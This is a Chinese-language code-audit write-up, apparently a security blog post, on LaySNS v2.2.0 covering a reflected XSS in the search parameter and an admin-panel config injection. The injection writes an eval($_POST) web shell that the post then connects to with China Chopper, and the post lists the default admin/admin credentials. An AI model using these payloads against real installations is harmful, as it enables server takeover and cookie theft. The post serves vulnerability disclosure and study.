01
前言
LaySNS轻社区是一套基于ThinkPHP5+LayUI开发的集内容发布与社区交流与一体的综合网站系统。它的界面清新而大气,简洁而优雅。本文以LaySNS_v2.2.0版本进行代码审计,发现和挖掘代码中存在的安全问题。
02
环境搭建
LaySNS官网:http://www.laysns.com
网站源码版本:LaySNS_v2.2.0
程序源码下载:https://pan.lanzou.com/i0l38li
默认后台地址:http://127.0.0.1/admin.php/login/index.html
默认账号密码:admin/admin
03
前台反射型XSS
代码分析:
漏洞文件位置:/application/index/controller/Index.php 第50-66行:
这段函数获取参数ks后,并未对参数进行任何处理,输出参数到控制器所对应的视图文件index_search.html中,导致程序在实现上存在存储型XSS跨站脚本漏洞,攻击者通过该漏洞可在页面中插入恶意js代码,获得用户cookie等信息,导致用户被劫持。
漏洞利用:
1、在首页的搜索框输入Payload:111<script>alert(/xss/)</script>
2、点击搜索成功触发js代码
04
后台Getshell
代码分析:
漏洞文件位置:/application/admin/controller/System.php 第35-81行
这段函数在更新配置的时候,未对参数进行任何处理,攻击者可以将恶意代码插入配置文件,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。
漏洞利用:
1、登录后台—系统配置--站点配置--网站模板--修改cms模板名
Payload:default',1=>eval($_POST[g]),'xx'=>'
2、访问http://127.0.0.1/application/extra/web.php,成功触发代码执行漏洞
3、通过菜刀连接,控制网站服务器
05
总结
总体而言,并没有什么难度,深感要想挖掘一个稍微有点技术含量的漏洞还是挺难的,还是慢慢的学习和积累吧,共勉!
Bypass
About Me
一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。